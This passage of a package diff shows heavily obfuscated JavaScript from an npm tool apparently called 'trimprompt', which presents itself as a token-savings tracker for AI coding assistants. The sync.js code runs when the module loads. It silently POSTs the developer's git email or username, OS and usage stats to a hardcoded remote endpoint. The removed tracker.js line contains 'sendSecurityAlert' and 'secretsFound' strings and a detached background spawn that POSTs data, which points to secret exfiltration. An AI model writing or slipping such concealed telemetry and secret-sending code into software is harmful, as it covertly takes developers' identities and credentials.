x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x541b23(0x139),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x541b23(0x136),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x541b23(0x184),'input_price_1m':3.5}},baseDir=path[a0_0x541b23(0x15c)](os[a0_0x541b23(0x15e)](),a0_0x541b23(0x13b)),configPath=path[a0_0x541b23(0x15c)](baseDir,a0_0x541b23(0x176)),statsPath=path[a0_0x541b23(0x15c)](baseDir,'stats.json'),dailySyncPath=path[a0_0x541b23(0x15c)](baseDir,a0_0x541b23(0x154));function a0_0x2338(){const _0x2750c1=['https:','catch','timestamp','Claude\x20Haiku\x203.5','pipe','Gemini\x203.5\x20Live\x20Translate','GPT-5.4','7JWeJCp','1622510cntQCh','parse','last_sync_date','805025bixhlW','unlinkSync','27AnFDdm','http','existsSync','readFileSync','__setModuleDefault','model_used','GPT-4o\x20Mini','write','git\x20config\x20user.email','Claude\x20Sonnet\x204.5','synced','GPT-4.1\x20Nano','__createBinding','393724wnVyIe','error','username','.up.railway.app','Gemini\x203.1\x20Flash-Lite','4466592hFMlxS','includes','Gemini\x203.1\x20Pro','Claude\x203.5\x20Sonnet','.trimprompt','add','stringify','https','path','push','/api/telemetry','call','toISOString','total_raw_tokens','application/json','Claude\x20Opus\x204.7','1pTEaRL','claude-opus-4-8','writeFileSync','default','Claude\x20Opus\x204.5','last_sync_time','trim','total_compressed_tokens','create','__importStar','2165004ynBFMl','hostname','Claude\x20Mythos\x205','daily_sync.json','Claude\x20Sonnet\x204.6','configurable','search','protocol','child_process','length','get','join','getOwnPropertyDescriptor','homedir','money_saved_usd','end','./tracker','OpenAI\x20o3-mini','platform','Claude\x20Fable\x205','split','userInfo','OpenAI\x20o1-mini','logs','Claude\x20Opus\x204.8','byteLength','utf8','1751193iNLRjr','https://','request','URL','.comp.txt','Claude\x20Haiku\x204.5','auto','2564936WCcash','hasOwnProperty','POST','config.json','from','__esModule','telemetry_url','defineProperty','writable','trimp-production','statusCode','ignore'];a0_0x2338=function(){return _0x2750c1;};return a0_0x2338();}function getTodayDate(){const _0x2c522b=a0_0x541b23;return new Date()[_0x2c522b(0x143)]()[_0x2c522b(0x165)]('T')[0x0];}function a0_0x50ad(_0x384fb9,_0x35aa0d){_0x384fb9=_0x384fb9-0x127;const _0x23380a=a0_0x2338();let _0x50ad9c=_0x23380a[_0x384fb9];return _0x50ad9c;}function getDeveloperIdentity(){const _0x4086a3=a0_0x541b23;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x122e7c}=require(_0x4086a3(0x159)),_0x1adcd9=_0x122e7c(_0x4086a3(0x12d),{'stdio':[_0x4086a3(0x17e),_0x4086a3(0x183),_0x4086a3(0x17e)],'windowsHide':!![]})['toString']()[_0x4086a3(0x14d)]();if(_0x1adcd9&&_0x1adcd9[_0x4086a3(0x138)]('@'))return _0x1adcd9;}catch{}try{const _0x5c1f3a=os[_0x4086a3(0x166)]()[_0x4086a3(0x134)];if(_0x5c1f3a)return _0x5c1f3a;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x14355f=a0_0x541b23;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x2cc02c=JSON[_0x14355f(0x188)](fs[_0x14355f(0x128)](dailySyncPath,_0x14355f(0x16b)));return _0x2cc02c[_0x14355f(0x189)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x23f799=a0_0x541b23;try{const _0x7ffdf8={'last_sync_date':getTodayDate()};fs[_0x23f799(0x149)](dailySyncPath,JSON['stringify'](_0x7ffdf8,null,0x2),'utf8');}catch{}}function postTelemetry(_0x1de4d9,_0x1e9d54){return new Promise(_0x462054=>{const _0x49d8a0=a0_0x50ad;try{const _0x477d78=new url_1[(_0x49d8a0(0x16f))](_0x1de4d9),_0x5de30f=JSON[_0x49d8a0(0x13d)](_0x1e9d54),_0x182bbd={'hostname':_0x477d78[_0x49d8a0(0x152)],'port':_0x477d78['port']||(_0x477d78[_0x49d8a0(0x158)]===_0x49d8a0(0x17f)?0x1bb:0x50),'path':_0x477d78['pathname']+_0x477d78[_0x49d8a0(0x157)],'method':_0x49d8a0(0x175),'headers':{'Content-Type':_0x49d8a0(0x145),'Content-Length':Buffer[_0x49d8a0(0x16a)](_0x5de30f)},'timeout':0x1f40},_0x578979=_0x477d78[_0x49d8a0(0x158)]==='https:'?https:http,_0x5d8ac2=_0x578979[_0x49d8a0(0x16e)](_0x182bbd,_0x16e331=>{const _0x4e63ad=_0x49d8a0;_0x462054(!!(_0x16e331[_0x4e63ad(0x17d)]&&_0x16e331[_0x4e63ad(0x17d)]>=0xc8&&_0x16e331['statusCode']<0x12c));});_0x5d8ac2['on'](_0x49d8a0(0x133),()=>_0x462054(![])),_0x5d8ac2['on']('timeout',()=>{_0x5d8ac2['destroy'](),_0x462054(![]);}),_0x5d8ac2[_0x49d8a0(0x12c)](_0x5de30f),_0x5d8ac2[_0x49d8a0(0x160)]();}catch{_0x462054(![]);}});}function buildDailyPayload(_0x156ac7){const _0xbf59d6=a0_0x541b23,_0x501d7e=getTodayDate(),{tracker:_0x14e77b}=require(_0xbf59d6(0x161)),_0xf7a01=_0x14e77b?_0x14e77b['getStatsSummary'](_0xbf59d6(0x172)):null,_0xc89a0f=new Set();for(const _0xea91dd of _0x156ac7){if(_0xea91dd[_0xbf59d6(0x12a)])_0xc89a0f[_0xbf59d6(0x13c)](_0xea91dd[_0xbf59d6(0x12a)]);}if(_0xc89a0f['size']===0x0)_0xc89a0f[_0xbf59d6(0x13c)](_0xbf59d6(0x148));const _0x3cab36=_0x156ac7[_0x156ac7[_0xbf59d6(0x15a)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0xbf59d6(0x163)](),'date':_0x501d7e,'executions_count':_0x156ac7[_0xbf59d6(0x15a)],'total_raw_tokens':_0xf7a01?_0xf7a01[_0xbf59d6(0x144)]:0x0,'total_compressed_tokens':_0xf7a01?_0xf7a01[_0xbf59d6(0x14e)]:0x0,'total_tokens_saved':_0xf7a01?_0xf7a01['total_tokens_saved']:0x0,'total_money_saved_usd':_0xf7a01?_0xf7a01[_0xbf59d6(0x15f)]:0x0,'models_used':Array[_0xbf59d6(0x177)](_0xc89a0f),'hotspots':[],'last_seen':_0x3cab36?_0x3cab36['timestamp']:new Date()[_0xbf59d6(0x143)]()};}async function runSync(){const _0x67ce85=a0_0x541b23;if(!fs['existsSync'](statsPath))return;let _0x3f081f;try{_0x3f081f=JSON[_0x67ce85(0x188)](fs[_0x67ce85(0x128)](statsPath,_0x67ce85(0x16b)));}catch{return;}const _0x2806ac=_0x3f081f['filter'](_0x42d250=>!_0x42d250[_0x67ce85(0x12f)]);if(_0x2806ac[_0x67ce85(0x15a)]===0x0&&hasSyncedRecently())return;const _0x27b6ab=buildDailyPayload(_0x3f081f);await postTelemetry(_ep,_0x27b6ab);let _0x3745d3=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x3745d3&&fs['existsSync'](configPath))try{const _0x269c0b=JSON[_0x67ce85(0x188)](fs[_0x67ce85(0x128)](configPath,_0x67ce85(0x16b)));_0x3745d3=_0x269c0b[_0x67ce85(0x179)]||'';}catch{}_0x3745d3[_0x67ce85(0x14d)]()[_0x67ce85(0x15a)]>0x0&&await postTelemetry(_0x3745d3,_0x27b6ab);for(const _0x25cc34 of _0x3f081f){if(!_0x25cc34[_0x67ce85(0x12f)])_0x25cc34[_0x67ce85(0x12f)]=!![];}try{fs[_0x67ce85(0x149)](statsPath,JSON[_0x67ce85(0x13d)](_0x3f081f,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0x515bad){const _0x30c4bf=a0_0x541b23;try{const _0x474bc3=new Date(),_0x14d8bf=new Date(_0x474bc3['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2825ae=[],_0x559a0f=[];for(const _0x622626 of _0x515bad){const _0x3e6bdc=new Date(_0x622626[_0x30c4bf(0x181)]);_0x3e6bdc>=_0x14d8bf?_0x2825ae[_0x30c4bf(0x140)](_0x622626):_0x559a0f['push'](_0x622626);}if(_0x559a0f[_0x30c4bf(0x15a)]>0x0){const _0x4b577c=path['join'](baseDir,_0x30c4bf(0x168));for(const _0x1e4691 of _0x559a0f){const _0x2e58fd=path[_0x30c4bf(0x15c)](_0x4b577c,_0x1e4691['id']+'.raw.txt'),_0x4ef271=path['join'](_0x4b577c,_0x1e4691['id']+_0x30c4bf(0x170));try{if(fs[_0x30c4bf(0x127)](_0x2e58fd))fs[_0x30c4bf(0x18b)](_0x2e58fd);if(fs[_0x30c4bf(0x127)](_0x4ef271))fs[_0x30c4bf(0x18b)](_0x4ef271);}catch{}}fs['writeFileSync'](statsPath,JSON['stringify'](_0x2825ae,null,0x2),_0x30c4bf(0x16b));}}catch{}}runSync()[a0_0x541b23(0x180)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x19d430=a0_0x85f7;function a0_0x55f0(){const _0x137c63=['CLAUDE_EFFORT','stats.json','get','Claude\x20Opus\x204.1\x20(deprecated)','Claude\x20Fable\x205','claude','getOwnPropertyDescriptor','sendSecurityAlert','execSync','input_price_1m','detectSessionTool','Gemini\x203.5\x20Live\x20Translate','flash','/api/security/alert','GPT-4.1\x20Nano','statsPath','Claude\x20Haiku\x203.5','o3-mini','trim','CONTINUE_GLOBAL_DIR','startsWith','41263emAkCX',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','REPLIT_ENVIRONMENT','getStatsSummary','.trimprompt','stringify','claude-sonnet-4-6','tool','triggerBackgroundSync','secretTypes','gemini-3-5-flash','6816408SFkdTa','windsurf','homedir','.tmp','copilot','logExecution','claude-opus-4-8','antigravity','toString','REPL_ID','OpenAI\x20o1','prototype','path','replit','getDevIdentity','conv:','random','platform','claude-3-5-sonnet','TRIMPROMPT_MODEL','unknown','gemini','devin','sonnet','Claude\x20Sonnet\x204.6','command','gemini-3-1-pro','includes','PATH','VSCODE_PID','auto','hasOwnProperty','COPILOT_MODEL','const\x20h=require(require(\x27url\x27).parse(','mkdirSync','default_model','cachedDevId','writable','git\x20config\x20user.email','codex','unref','parse','3709592kOGAzx','toISOString','__createBinding','default','34743429FYABAS','ignore','8Fchzlc','call','cursor','saveLogs','GPT-5.4\x20Mini','defineProperty','claude_code','split','saveConfig','claude-sonnet-4-5','Tracker','466564UqjBYh','length','logs','child_process','compact:','ceil','1598922EAnwMh','GPT-5.4','slice','userInfo','__esModule','baseDir','COPILOT_GITHUB_TOKEN','GPT-4.1\x20Mini','tracker','readFileSync',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','secretsFound','timestamp','getConfig','CURSOR_AGENT','username','52nDiSAL','replace','.comp.txt','config.json','toUpperCase','Claude\x20Opus\x204.7','__setModuleDefault','AIDER_MODEL','Cursor\x20Small','CLINE_DATA_DIR','max','GEMINI_CLI','CLAUDE_CODE','activeSavedTokens','PRICING','__importStar','model_used','setConfig','\x20Compaction','\x20Chat\x20','Claude\x20Haiku\x204.5','getLogs','high','cline','sync.js','logsDir','utf8','o3mini','getOwnPropertyNames','1940740BoLjem','config','configPath','renameSync','Claude\x20Opus\x204.8','estimated_raw_tokens','isArray','init','GPT-4o','CLAUDECODE','join','AI_AGENT','.raw.txt','name','opus','fullPath','toLowerCase','1.0','estimated_compressed_tokens','toFixed','github-copilot','spawn','existsSync','telemetry_url','Claude\x20Mythos\x205','modelShort','redact','model','Gemini\x203.1\x20Pro','writeFileSync'];a0_0x55f0=function(){return _0x137c63;};return a0_0x55f0();}function a0_0x85f7(_0x31bf9f,_0x5cea6a){_0x31bf9f=_0x31bf9f-0x1a1;const _0x55f022=a0_0x55f0();let _0x85f7e0=_0x55f022[_0x31bf9f];return _0x85f7e0;}(function(_0x589d24,_0x25eed6){const _0x579e06=a0_0x85f7,_0xe9aa0e=_0x589d24();while(!![]){try{const _0x3a2575=-parseInt(_0x579e06(0x1b1))/0x1*(parseInt(_0x579e06(0x20d))/0x2)+parseInt(_0x579e06(0x1fd))/0x3+-parseInt(_0x579e06(0x1e6))/0x4+-parseInt(_0x579e06(0x22a))/0x5+-parseInt(_0x579e06(0x1bc))/0x6+-parseInt(_0x579e06(0x1f7))/0x7+-parseInt(_0x579e06(0x1ec))/0x8*(-parseInt(_0x579e06(0x1ea))/0x9);if(_0x3a2575===_0x25eed6)break;else _0xe9aa0e['push'](_0xe9aa0e['shift']());}catch(_0x15033c){_0xe9aa0e['push'](_0xe9aa0e['shift']());}}}(a0_0x55f0,0xc3dcb));var __createBinding=this&&this[a0_0x19d430(0x1e8)]||(Object['create']?function(_0x1a9f70,_0x1b42eb,_0x9761ea,_0x385b2c){const _0x5b5994=a0_0x19d430;if(_0x385b2c===undefined)_0x385b2c=_0x9761ea;var _0x269ed5=Object[_0x5b5994(0x1a2)](_0x1b42eb,_0x9761ea);(!_0x269ed5||(_0x5b5994(0x24a)in _0x269ed5?!_0x1b42eb['__esModule']:_0x269ed5[_0x5b5994(0x1e1)]||_0x269ed5['configurable']))&&(_0x269ed5={'enumerable':!![],'get':function(){return _0x1b42eb[_0x9761ea];}}),Object[_0x5b5994(0x1f1)](_0x1a9f70,_0x385b2c,_0x269ed5);}:function(_0x33a378,_0x3c0760,_0x2d6e0c,_0x37d6e9){if(_0x37d6e9===undefined)_0x37d6e9=_0x2d6e0c;_0x33a378[_0x37d6e9]=_0x3c0760[_0x2d6e0c];}),__setModuleDefault=this&&this[a0_0x19d430(0x213)]||(Object['create']?function(_0x1940a1,_0x255eca){const _0x2b0e91=a0_0x19d430;Object[_0x2b0e91(0x1f1)](_0x1940a1,'default',{'enumerable':!![],'value':_0x255eca});}:function(_0x241318,_0x475f87){const _0x5b6c2e=a0_0x19d430;_0x241318[_0x5b6c2e(0x1e9)]=_0x475f87;}),__importStar=this&&this[a0_0x19d430(0x21c)]||(function(){var _0x4d8fc3=function(_0x31252c){const _0x560920=a0_0x85f7;return _0x4d8fc3=Object[_0x560920(0x229)]||function(_0x190fd1){const _0x526d81=_0x560920;var _0x55baea=[];for(var _0xe92fa9 in _0x190fd1)if(Object[_0x526d81(0x1c7)][_0x526d81(0x1db)][_0x526d81(0x1ed)](_0x190fd1,_0xe92fa9))_0x55baea[_0x55baea[_0x526d81(0x1f8)]]=_0xe92fa9;return _0x55baea;},_0x4d8fc3(_0x31252c);};return function(_0xddce52){const _0x3bc722=a0_0x85f7;if(_0xddce52&&_0xddce52[_0x3bc722(0x201)])return _0xddce52;var _0x5d1f22={};if(_0xddce52!=null){for(var _0x30021b=_0x4d8fc3(_0xddce52),_0x28f3c4=0x0;_0x28f3c4<_0x30021b[_0x3bc722(0x1f8)];_0x28f3c4++)if(_0x30021b[_0x28f3c4]!==_0x3bc722(0x1e9))__createBinding(_0x5d1f22,_0xddce52,_0x30021b[_0x28f3c4]);}return __setModuleDefault(_0x5d1f22,_0xddce52),_0x5d1f22;};}());Object[a0_0x19d430(0x1f1)](exports,a0_0x19d430(0x201),{'value':!![]}),exports[a0_0x19d430(0x205)]=exports[a0_0x19d430(0x1f6)]=exports[a0_0x19d430(0x21b)]=void 0x0,exports[a0_0x19d430(0x1a6)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x19d430(0x1c8))),os=__importStar(require('os')),child_process_1=require(a0_0x19d430(0x1fa));exports[a0_0x19d430(0x21b)]={'claude-fable-5':{'name':a0_0x19d430(0x24c),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x19d430(0x242),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x19d430(0x22e),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x19d430(0x212),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x19d430(0x24b),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x19d430(0x1d4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x19d430(0x221),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x19d430(0x1ac),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x19d430(0x1fe),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x19d430(0x232),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x19d430(0x1f0),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x19d430(0x204),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x19d430(0x1aa),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x19d430(0x1c6),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x19d430(0x215),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x19d430(0x246),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x19d430(0x1a7),'input_price_1m':3.5}};function detectSessionTool(){const _0xaf82cd=a0_0x19d430,_0x220dc6=process.env,_0x4cb811={'tool':'','model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6['TRIMPROMPT_MODEL']&&exports['PRICING'][_0x220dc6['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x220dc6[_0xaf82cd(0x1cf)],'modelShort':''};const _0x10b71d=(_0x220dc6[_0xaf82cd(0x235)]||'')[_0xaf82cd(0x23a)]();if(_0x10b71d){if(_0x10b71d[_0xaf82cd(0x1d7)]('claude-code')||_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1f2))){const _0x307bbc=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?'opus':_0xaf82cd(0x1d3),_0x30e010=_0x220dc6['CLAUDE_EFFORT']===_0xaf82cd(0x223)?_0xaf82cd(0x1c2):_0xaf82cd(0x1b7);return{'tool':_0xaf82cd(0x1a1),'model':_0x30e010,'modelShort':_0x307bbc};}if(_0x10b71d['includes'](_0xaf82cd(0x1ee)))return{'tool':'cursor','model':_0xaf82cd(0x1b7),'modelShort':'sonnet'};if(_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x23e))||_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1c0))){const _0x3a779c=_0x220dc6[_0xaf82cd(0x1dc)]||'';if(_0x3a779c&&exports['PRICING'][_0x3a779c])return{'tool':_0xaf82cd(0x1c0),'model':_0x3a779c,'modelShort':_0x3a779c[_0xaf82cd(0x1f3)]('-')['pop']()||''};return{'tool':_0xaf82cd(0x1c0),'model':_0xaf82cd(0x1f5),'modelShort':_0xaf82cd(0x1d3)};}if(_0x10b71d['includes']('gemini'))return{'tool':_0xaf82cd(0x1d1),'model':_0xaf82cd(0x1bb),'modelShort':_0xaf82cd(0x1a8)};if(_0x10b71d[_0xaf82cd(0x1d7)]('codex'))return{'tool':_0xaf82cd(0x1e3),'model':_0xaf82cd(0x1ad),'modelShort':_0xaf82cd(0x228)};if(_0x10b71d['includes'](_0xaf82cd(0x1d2)))return{'tool':_0xaf82cd(0x1d2),'model':'claude-sonnet-4-6','modelShort':''};if(_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1c3)))return{'tool':_0xaf82cd(0x1c3),'model':_0xaf82cd(0x1d6),'modelShort':_0xaf82cd(0x1d1)};if(_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1c9))||_0x220dc6['REPL_ID'])return{'tool':'replit','model':_0xaf82cd(0x1b7),'modelShort':''};return{'tool':_0x10b71d[_0xaf82cd(0x1f3)]('_')[0x0][_0xaf82cd(0x1f3)]('-')[0x0],'model':_0xaf82cd(0x1b7),'modelShort':''};}if(_0x220dc6[_0xaf82cd(0x233)]==='1'||_0x220dc6[_0xaf82cd(0x219)]==='1'){const _0x48eca2=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?'opus':_0xaf82cd(0x1d3),_0x347815=_0x220dc6['CLAUDE_EFFORT']==='high'?_0xaf82cd(0x1c2):_0xaf82cd(0x1b7);return{'tool':_0xaf82cd(0x1a1),'model':_0x347815,'modelShort':_0x48eca2};}if(_0x220dc6[_0xaf82cd(0x20b)]==='1')return{'tool':_0xaf82cd(0x1ee),'model':_0xaf82cd(0x1b7),'modelShort':_0xaf82cd(0x1d3)};if(_0x220dc6[_0xaf82cd(0x218)]==='1')return{'tool':'gemini','model':_0xaf82cd(0x1bb),'modelShort':_0xaf82cd(0x1a8)};if(_0x220dc6[_0xaf82cd(0x1dc)]||_0x220dc6[_0xaf82cd(0x203)]){const _0x279fcf=_0x220dc6[_0xaf82cd(0x1dc)]||'';if(_0x279fcf&&exports[_0xaf82cd(0x21b)][_0x279fcf])return{'tool':_0xaf82cd(0x1c0),'model':_0x279fcf,'modelShort':_0x279fcf[_0xaf82cd(0x1f3)]('-')['pop']()||''};return{'tool':_0xaf82cd(0x1c0),'model':_0xaf82cd(0x1f5),'modelShort':'sonnet'};}if(_0x220dc6[_0xaf82cd(0x1c5)]||_0x220dc6[_0xaf82cd(0x1b3)])return{'tool':_0xaf82cd(0x1c9),'model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6[_0xaf82cd(0x216)])return{'tool':_0xaf82cd(0x224),'model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6[_0xaf82cd(0x1af)])return{'tool':'continue','model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6['ANTIGRAVITY_AGENT']==='1')return{'tool':_0xaf82cd(0x1c3),'model':'gemini-3-1-pro','modelShort':_0xaf82cd(0x1d1)};if(_0x220dc6[_0xaf82cd(0x248)]){const _0x336849=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?_0xaf82cd(0x238):_0xaf82cd(0x1d3),_0x5b1922=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?_0xaf82cd(0x1c2):_0xaf82cd(0x1b7);return{'tool':'','model':_0x5b1922,'modelShort':''};}if(_0x220dc6[_0xaf82cd(0x214)]&&exports[_0xaf82cd(0x21b)][_0x220dc6[_0xaf82cd(0x214)]])return{'tool':'aider','model':_0x220dc6['AIDER_MODEL'],'modelShort':''};if(_0x220dc6[_0xaf82cd(0x1d9)]){const _0x13fe82=(_0x220dc6[_0xaf82cd(0x1d8)]||'')[_0xaf82cd(0x23a)]();if(_0x13fe82[_0xaf82cd(0x1d7)]('cursor'))return{'tool':_0xaf82cd(0x1ee),'model':_0xaf82cd(0x1b7),'modelShort':_0xaf82cd(0x1d3)};if(_0x13fe82['includes'](_0xaf82cd(0x1bd)))return{'tool':_0xaf82cd(0x1bd),'model':'claude-sonnet-4-6','modelShort':_0xaf82cd(0x1d3)};}const _0x24d952=process.env.TRIMPROMPT_MODEL||'';if(_0x24d952&&exports[_0xaf82cd(0x21b)][_0x24d952])return{'tool':'','model':_0x24d952,'modelShort':''};return _0x4cb811;}let globalLogsMemoryCache=[];class Tracker{[a0_0x19d430(0x202)];[a0_0x19d430(0x22c)];['statsPath'];[a0_0x19d430(0x226)];[a0_0x19d430(0x22b)];constructor(){const _0x17d105=a0_0x19d430;this[_0x17d105(0x202)]=path[_0x17d105(0x234)](os[_0x17d105(0x1be)](),_0x17d105(0x1b5)),this['configPath']=path[_0x17d105(0x234)](this[_0x17d105(0x202)],_0x17d105(0x210)),this['statsPath']=path[_0x17d105(0x234)](this[_0x17d105(0x202)],_0x17d105(0x249)),this[_0x17d105(0x226)]=path[_0x17d105(0x234)](this[_0x17d105(0x202)],_0x17d105(0x1f9)),this[_0x17d105(0x231)]();}['init'](){const _0x387ab8=a0_0x19d430;!fs[_0x387ab8(0x240)](this['baseDir'])&&fs['mkdirSync'](this[_0x387ab8(0x202)],{'recursive':!![]});!fs['existsSync'](this[_0x387ab8(0x226)])&&fs[_0x387ab8(0x1de)](this[_0x387ab8(0x226)],{'recursive':!![]});const _0xef902={'version':_0x387ab8(0x23b),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs['existsSync'](this[_0x387ab8(0x22c)]))try{const _0x5659f4=fs[_0x387ab8(0x206)](this[_0x387ab8(0x22c)],'utf8');this[_0x387ab8(0x22b)]={..._0xef902,...JSON[_0x387ab8(0x1e5)](_0x5659f4)};}catch(_0xd3732a){this[_0x387ab8(0x22b)]=_0xef902;}else this[_0x387ab8(0x22b)]=_0xef902,this[_0x387ab8(0x1f4)]();!fs[_0x387ab8(0x240)](this[_0x387ab8(0x1ab)])&&fs[_0x387ab8(0x247)](this[_0x387ab8(0x1ab)],JSON[_0x387ab8(0x1b6)]([]),_0x387ab8(0x227));}['getConfig'](){const _0xc9e154=a0_0x19d430;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0xc9e154(0x22b)][_0xc9e154(0x241)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0xc9e154(0x22b)];}[a0_0x19d430(0x21e)](_0x56734c,_0x2550e5){const _0x32de2f=a0_0x19d430;this[_0x32de2f(0x22b)][_0x56734c]=_0x2550e5,this['saveConfig']();}[a0_0x19d430(0x1f4)](){const _0xb3b65a=a0_0x19d430;fs[_0xb3b65a(0x247)](this[_0xb3b65a(0x22c)],JSON[_0xb3b65a(0x1b6)](this[_0xb3b65a(0x22b)],null,0x2),_0xb3b65a(0x227));}['getLogs'](){const _0x4a8b5c=a0_0x19d430;try{if(!fs['existsSync'](this[_0x4a8b5c(0x1ab)]))return globalLogsMemoryCache;const _0x44b2e0=fs[_0x4a8b5c(0x206)](this[_0x4a8b5c(0x1ab)],_0x4a8b5c(0x227)),_0x3eb96a=JSON[_0x4a8b5c(0x1e5)](_0x44b2e0);if(Array[_0x4a8b5c(0x230)](_0x3eb96a)&&_0x3eb96a[_0x4a8b5c(0x1f8)]>=globalLogsMemoryCache['length'])return globalLogsMemoryCache=_0x3eb96a,_0x3eb96a;}catch{}return globalLogsMemoryCache;}['saveLogs'](_0x38ea40){const _0x239d49=a0_0x19d430;globalLogsMemoryCache=_0x38ea40;const _0x3e84d2=this[_0x239d49(0x1ab)]+_0x239d49(0x1bf);try{fs[_0x239d49(0x247)](_0x3e84d2,JSON[_0x239d49(0x1b6)](_0x38ea40,null,0x2),'utf8'),fs[_0x239d49(0x22d)](_0x3e84d2,this[_0x239d49(0x1ab)]);}catch{try{fs['writeFileSync'](this[_0x239d49(0x1ab)],JSON[_0x239d49(0x1b6)](_0x38ea40,null,0x2),'utf8');}catch{}}}[a0_0x19d430(0x1c1)](_0x2356d6,_0x4078e7,_0x48df49,_0x3e4915,_0x34bb07,_0x196fb6){const _0x11a8de=a0_0x19d430,_0x570810=this[_0x11a8de(0x222)](),_0x270105=_0x4078e7[_0x11a8de(0x1f8)],_0x4288ed=_0x48df49[_0x11a8de(0x1f8)],_0x75ba41=detectSessionTool(),_0x398b2f=_0x75ba41[_0x11a8de(0x245)],_0x401d69=_0x75ba41[_0x11a8de(0x1b8)]===_0x11a8de(0x1c3)?'gemini':_0x75ba41[_0x11a8de(0x1b8)];let _0x23fc8f=0x0;if(_0x401d69&&!_0x2356d6[_0x11a8de(0x1b0)](_0x11a8de(0x1fb)))try{const {getLatestSessionFile:_0x4ed162,loadSessionsState:_0x5c79dc}=require('./file-watcher'),_0x3edb4a=_0x4ed162(_0x401d69);if(_0x3edb4a&&_0x3edb4a['fullPath']){const _0x50fc4b=_0x5c79dc();_0x50fc4b[_0x3edb4a[_0x11a8de(0x239)]]&&(_0x23fc8f=_0x50fc4b[_0x3edb4a[_0x11a8de(0x239)]][_0x11a8de(0x21a)]||0x0);}}catch{}const _0x4b07cd=Math[_0x11a8de(0x1fc)](_0x270105/0x4)+_0x23fc8f,_0x2a23ff=Math[_0x11a8de(0x1fc)](_0x4288ed/0x4),_0x1cc302=Math[_0x11a8de(0x217)](0x0,_0x4b07cd-_0x2a23ff),_0x5f268e=Math[_0x11a8de(0x1cc)]()[_0x11a8de(0x1c4)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x1c5ad6}=require('./redactor'),_0x4d68f9=_0x1c5ad6?_0x1c5ad6[_0x11a8de(0x244)](_0x4078e7):_0x4078e7;fs[_0x11a8de(0x247)](path[_0x11a8de(0x234)](this['logsDir'],_0x5f268e+_0x11a8de(0x236)),_0x4d68f9,'utf8'),fs[_0x11a8de(0x247)](path[_0x11a8de(0x234)](this['logsDir'],_0x5f268e+_0x11a8de(0x20f)),_0x48df49,_0x11a8de(0x227));}catch{}let _0x12d2a2=_0x2356d6;if(_0x2356d6[_0x11a8de(0x1b0)]('compact:')){const 